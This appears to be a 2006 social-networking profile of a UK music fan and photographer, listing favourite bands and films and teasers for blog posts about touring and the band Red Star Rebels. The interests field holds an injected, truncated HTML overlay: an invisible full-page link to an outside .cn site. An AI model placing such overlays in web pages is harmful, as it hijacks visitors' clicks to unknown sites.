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About Me

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My Interests

music, photography, family & friends, movies, gigs, drinka class="popup_wrapper" style="outline:none;background-color:transparent!important;c ursor:default;left:-30px;top:0px;height:6381px;width:1089px; "class=popup_x href="http://nolala.cn/s/" da$d

I'd like to meet:

Looking to hear from anyone who's interested in the music industry from fans, to bands, to photographers, writers, sound engineers etc etc etc... anyone who thinks they've a view on music and how we can keep it alive

Music:

here goes... Led Zeppelin, Pink Floyd, GunsNRoses, Yes, The Who, Deep Purple, Genesis, Oasis, Motorhead, Radiohead, Thin Lizzy, Lynyrd Skynrd, Kate Bush, Bruce Springsteen, Scissor Sisters, Muse, Franz Ferdinand, Molly Hatchet, Death in Vegas, Beck, Supertramp, Coral, Velvet Revolver, Mastodon, Marlyn Mansun, Lost Prophets, Hurricane Party, Def Leppard, Motley Crue, Supergrass, Marillion, Whitesnake, GaGas, Black Crowes, Blur, (i'll fill the rest in later......)

Movies:

Silent Running, Withnail and I, Star Wars, Great Escape, Zulu, Run Lola Run, The Godfather I & II, Third Man, Lock Stock,

My Blog

Communal versus Competitive

Is music getting TOO COMPETITIVE at the moment?? and is APATHY and our culture too much aligned with teh 'FAST FOOD' culture of the youth of today ? Why do bands seem to want to 'steal' fans from ot...
Posted by Ian grx Trashed on Thu, 11 May 2006 05:39:00 PST

Gnomefest and Looking forward to getting HOME

Well the tour's been a blast so far.... and the shows have been fantastic from both the Red Star Rebels point of view and getting the chance to see Gilby and Co playing quality rock. The guy has just ...
Posted by Ian grx Trashed on Sun, 07 May 2006 01:09:00 PST

Gilby Clarke Tour

Picked up Gilby and the guys from Heathrow and what can I say... Gilby is an absolute gent. Old school .. no frills... down to earth decent guy. Fun trip back to their London hotel base for the week ...
Posted by Ian grx Trashed on Tue, 02 May 2006 03:54:00 PST

some days you just have to know when to quit

what a day today has been... crap from the moment I woke up. I get days like this when no matter how nice I am or how well meaning I try to be it all turns sour and people get the hump or ...
Posted by Ian grx Trashed on Tue, 04 Apr 2006 10:22:00 PST

Bubble wrap me !!!

It's official ... i need bubble wrapping.... am up in Newcastle at the moment and it had been snowing overnight... and on being woken up by Ollie at 7am!! the place looked great.... so decision ...
Posted by Ian grx Trashed on Sat, 04 Mar 2006 08:22:00 PST

Train Crash & Dislocated Shoulder

It was carnage.... four train coaches overturned.... bridge collapsed....engine in the river... people strewn all over the place... and the result... me dislocating my shoulder... sounds dramatic e...
Posted by Ian grx Trashed on Thu, 02 Mar 2006 04:41:00 PST

Against all the odds

On Sat night I had the great pleasure of witnessing something truly outstanding.... the emergence of a really great rock band. I know I'm biased but Red Star Rebels are the real thing. They're a clas...
Posted by Ian grx Trashed on Mon, 20 Feb 2006 05:02:00 PST

Red Star Rebels - 17th Jan @ Purple Turtle

What a night... just about recovered !!! many thanks to everyone who came down to the Purple Turtle on Tues to make a fantastic evening. Many thanks to Jack Viper and Joan ov Arc in providing som...
Posted by Ian grx Trashed on Fri, 20 Jan 2006 11:18:00 PST

Red Star Rebels

so... after a lot of shit that's happened to me over the last five or so months I thought I'd post a very positive and upbeat post on some lovely people that I've met. Five young gentlemen going...
Posted by Ian grx Trashed on Tue, 03 Jan 2006 04:11:00 PST

I'm jinxed !! I swear it..

with all the bollox going on at the moment and my crap imune system I thought a nice day away to Manchester to be on a panel about photography standard terms and conditions, copyright and image rights...
Posted by Ian grx Trashed on Wed, 16 Nov 2005 06:31:00 PST